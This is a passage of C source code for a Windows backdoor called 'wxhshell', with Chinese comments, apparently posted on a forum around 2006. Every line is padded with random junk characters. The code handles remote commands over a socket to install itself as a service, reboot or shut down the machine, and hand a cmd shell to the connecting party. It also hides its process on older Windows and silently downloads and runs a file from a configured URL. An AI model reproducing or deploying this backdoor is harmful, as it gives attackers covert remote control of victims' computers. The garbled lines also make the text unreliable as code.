    switch(cmd[0]) { ^{IF2_h"  
  /.{q2]  
  // 帮助 $E j;CN59  
  case '?': { $mV1K)ege  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 907N;r  
    break; VDyQv^=#  
  } k`5jy~;  
  // 安装 "x+o(jOy  
  case 'i': { 1^x "P#u  
    if(Install()) #s\HiO$BT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3XB'CL6  
    else [%);N\o2Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P0B`H7D  
    break; v/fo`]zP  
    } TQ{rg2_T  
  // 卸载 /Vg=+FEO  
  case 'r': { eNwF<0}  
    if(Uninstall()) ~6)A/]6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mx3MNX /  
    else 7O=N78M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bp>-{Nv  
    break; ;yvx-  
    } !R;NV|.eI6  
  // 显示 wxhshell 所在路径 O7M8!3Eqm  
  case 'p': { ``zgw\f[%  
    char svExeFile[MAX_PATH]; #GJ{@C3H8Q  
    strcpy(svExeFile,"\n\r"); z^ai *   
      strcat(svExeFile,ExeFile); b6mSPH@  
        send(wsh,svExeFile,strlen(svExeFile),0); J|uxn<E<>  
    break; 5a`f % h%  
    } hnk,U:7}  
  // 重启 LXZ0up-B-  
  case 'b': { :"vW;$1 }  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cggu#//Z}Q  
    if(Boot(REBOOT)) Ap :mc:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE 2w ?  
    else { R;G"LT  
    closesocket(wsh); 0gLl>tF[H  
    ExitThread(0); _i/x4,=xv  
    } (mNNTMe  
    break; 0:CIM  
    } a7]wPXKq  
  // 关机 nRE(Rb Re  
  case 'd': { .qN|.:6a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yq$KYB j  
    if(Boot(SHUTDOWN)) <r@w`G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xF#'+Y  
    else { H n^)Xw  
    closesocket(wsh); *&=sL  
    ExitThread(0); u . xUM  
    } k Y}r^NaQA  
    break; [1LlzCAFBw  
    } pM|m*k  
  // 获取shell kK,Ne%}a2K  
  case 's': { V!{}%;f  
    CmdShell(wsh); ZM6`:/lc  
    closesocket(wsh); K+s@.D9J  
    ExitThread(0); 2`Ojw_$W7  
    break; ^n@dC?  
  } 3Uy48ue  
  // 退出 8p;|&7  
  case 'x': { >8* 0"Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U '$W$()p  
    CloseIt(wsh); f"{|c@%  
    break; KBe\)Vs  
    } c*k%r2'  
  // 离开 ]T?Py)  
  case 'q': { .Wr%l $~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A=PJg!  
    closesocket(wsh); ]52.nxs~  
    WSACleanup(); MJzY|  
    exit(1); x$:P;#  
    break; --> ~<o  
        } Jp d|<\Ml  
  } F3%8E<QZd;  
  } _K4E6c_  
7xhBdi[ dQ  
  // 提示信息 ,Vc>'4E-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I<``d Ne9Q  
} 9tMaOm  
  } ^%qe&Pe2  
:pp@x*uNP  
  return; Fu z'!  
} +n)_\@aQ  
!jySID?q  
// shell模块句柄 ZNKopA(=|%  
int CmdShell(SOCKET sock) r*r3QsO  
{ js$L<^7  
STARTUPINFO si; _,ki/7{  
ZeroMemory(&si,sizeof(si)); xsO "H8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FJ/c(K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -PG81F&K  
PROCESS_INFORMATION ProcessInfo; ^D%hKIT  
char cmdline[]="cmd"; &tJ!cTA.-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;!C~_{/t  
  return 0; *3Vic  
} #B^A"?*S  
"KiTjl`M,  
// 自身启动模式 fHLt{!O  
int StartFromService(void) r=J+  
{ R/O>^s!Co  
typedef struct !bq3c(d  
{ Qms,kX  
  DWORD ExitStatus; QMz6syn4u  
  DWORD PebBaseAddress; vg"$&YX9"  
  DWORD AffinityMask; Z w`9B  
  DWORD BasePriority; \se /2l  
  ULONG UniqueProcessId; MmbS ["A  
  ULONG InheritedFromUniqueProcessId; Y6Mp[=  
}   PROCESS_BASIC_INFORMATION; C9FzTg/c  
vT&) 5nN  
PROCNTQSIP NtQueryInformationProcess; 4%GwCEnS  
2LTMt?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bw{enf$vR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,bGYixIfYZ  
8k0f&Cak=  
  HANDLE             hProcess; QF74'  
  PROCESS_BASIC_INFORMATION pbi; S=@bb$4-T  
7;i [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dc+U #]tS  
  if(NULL == hInst ) return 0; WSKubn?7B  
@CUYl*.PD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %`# HGji)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Uu:t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b)(rlX  
|b+ZKRW  
  if (!NtQueryInformationProcess) return 0; 1zP)~p3a  
Gpb<,v_3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g.wDg  
  if(!hProcess) return 0; Ifu[L&U  
L>>RboR}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tp[-,3L  
z#|tcHVFT  
  CloseHandle(hProcess); G &QGQ  
/7CV7=^d,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EW~M,+?  
if(hProcess==NULL) return 0; c]+uj q  
Sp]u5\  
HMODULE hMod; E|K|AdL  
char procName[255]; A0l-H/l7  
unsigned long cbNeeded; ]F#}8$  
1KMSBLx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !K%8tr4   
S11ME  
  CloseHandle(hProcess);  v[+ ]  
 {S$61ut  
if(strstr(procName,"services")) return 1; // 以服务启动 @r*w 84  
8-u #<D.  
  return 0; // 注册表启动 B4M rrW4=  
} 1va~.;/rG  
:AYhBhitC  
// 主模块 2CY4nS KW  
int StartWxhshell(LPSTR lpCmdLine) &~K4I  
{ M?ObK#l!_  
  SOCKET wsl; 8:sQB% BB  
BOOL val=TRUE; ]/6i#fTw  
  int port=0;  X? l5}  
  struct sockaddr_in door; /_D_W,#P  
3Ow bU  
  if(wscfg.ws_autoins) Install(); t8ZzBD!dP  
f6])M)  
port=atoi(lpCmdLine); 8svN*`[  
oB$c-!&  
if(port<=0) port=wscfg.ws_port; \n<9R8g5  
m FgrT  
  WSADATA data; Z'!i"Jzq|{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?_t_rF(?6  
rT"3^,,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kQw%Wpuq[/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V~ q b2$  
  door.sin_family = AF_INET; [aF"5G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %5 ovW<E:  
  door.sin_port = htons(port); WS6;ad;|  
BS|$-i5L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HD YWDp  
closesocket(wsl); $z[@DB[  
return 1; ^5n#hSqZ=M  
} PSHzB! H=n  
<f9a%`d  
  if(listen(wsl,2) == INVALID_SOCKET) { [C`LKA$t  
closesocket(wsl); <]f{X<ef  
return 1; cw/E?0MWb  
} !!+LFe4su  
  Wxhshell(wsl); ;wa#m1  
  WSACleanup(); VD~ %6AjyN  
"8iIOeY-\  
return 0; P}=U #AV4  
' >k1h.i  
} yXT.]%)  
*_sSM+S  
// 以NT服务方式启动 d<cqY<y VA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jR2^n`D  
{ ;Sl%I+?  
DWORD   status = 0; KsSIX  
  DWORD   specificError = 0xfffffff; -nQ(.#-n  
x8o/m$[,=u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?3y>K!D(A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; adWH';Q:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A=+1PgL66  
  serviceStatus.dwWin32ExitCode     = 0; iyv5\  
  serviceStatus.dwServiceSpecificExitCode = 0; 6&;h+;h  
  serviceStatus.dwCheckPoint       = 0; D!V~g72j  
  serviceStatus.dwWaitHint       = 0; `4-N@h  
RpwDOG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eX$RD9 H  
  if (hServiceStatusHandle==0) return; T,9pd;k  
AD~_n ^  
status = GetLastError(); )4R[C={  
  if (status!=NO_ERROR) *M-'R*Np  
{ &fW'_,-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3vHkhhYQ  
    serviceStatus.dwCheckPoint       = 0; rpUTn!*u/  
    serviceStatus.dwWaitHint       = 0; .#}A/V.-Y  
    serviceStatus.dwWin32ExitCode     = status; ny}_^3  
    serviceStatus.dwServiceSpecificExitCode = specificError; :7?n)=Tx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H5(: 1  
    return; ](^FGz  
  } &S39SV  
I23"DBR3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~(`&hYE  
  serviceStatus.dwCheckPoint       = 0; NQcNY=  
  serviceStatus.dwWaitHint       = 0; aMJJ|iiU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vDIsawbHD  
} QIfP%,LT  
88VI _<  
// 处理NT服务事件,比如:启动、停止 T>|Y_3YO_a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OHv4Yy]$B  
{ Md&K#)9,(  
switch(fdwControl) Dxe]LES\]  
{ |$C fm}  
case SERVICE_CONTROL_STOP: 1}~ZsrF  
  serviceStatus.dwWin32ExitCode = 0; oDWNOw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3X#Cep20a  
  serviceStatus.dwCheckPoint   = 0; >FS}{O2c  
  serviceStatus.dwWaitHint     = 0; Rh%A^j@  
  { ?u5jX J0L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u%5 ,U-  
  } hh[x(O)TC~  
  return; `{NbMc\ ]  
case SERVICE_CONTROL_PAUSE: B r6tgoA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <tW/9}@p9  
  break; sB!6"D5  
case SERVICE_CONTROL_CONTINUE: :<v@xOzxx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YIF|8b\  
  break; aTkMg  
case SERVICE_CONTROL_INTERROGATE: CIVV"p`}  
  break; oA8A @,-L  
}; h!`KX2~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yQ !keGj  
} N|%X/UjZ2.  
 `7oYXk  
// 标准应用程序主函数 /m4Y87  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l{Et:W%|  
{ 8Vy/n^3)  
m95] z18T'  
// 获取操作系统版本 !+DhH2;)F  
OsIsNt=GetOsVer(); o(C;;C(*{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jW{bP_,"  
XePGOw))O  
  // 从命令行安装 eH~T PH  
  if(strpbrk(lpCmdLine,"iI")) Install(); rP#&WSLVj  
hcz!f  
  // 下载执行文件 `O!yt  
if(wscfg.ws_downexe) { bAld'z#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mnx`e>0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;M"[dy`dY  
} rH'|$~a  
B>[myx  
if(!OsIsNt) { ^\r{72!y  
// 如果时win9x,隐藏进程并且设置为注册表启动 tF\_AvL_8  
HideProc(); ANfy+@  
StartWxhshell(lpCmdLine); iu$Y0.H@  
} _YN C}PUU  
else g9Ty%|Q7(  
  if(StartFromService()) c< sq0('`  
  // 以服务方式启动 8T8]gM  
  StartServiceCtrlDispatcher(DispatchTable); PAH#yM2Ic  
else  yyGn <  
  // 普通方式启动 Gz4LjMQ &  
  StartWxhshell(lpCmdLine); 7eW6$$ju,N  
g1 =>u  
return 0; Qjd]BX;  
}
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只看该作者 1 发表于: 2006-10-10
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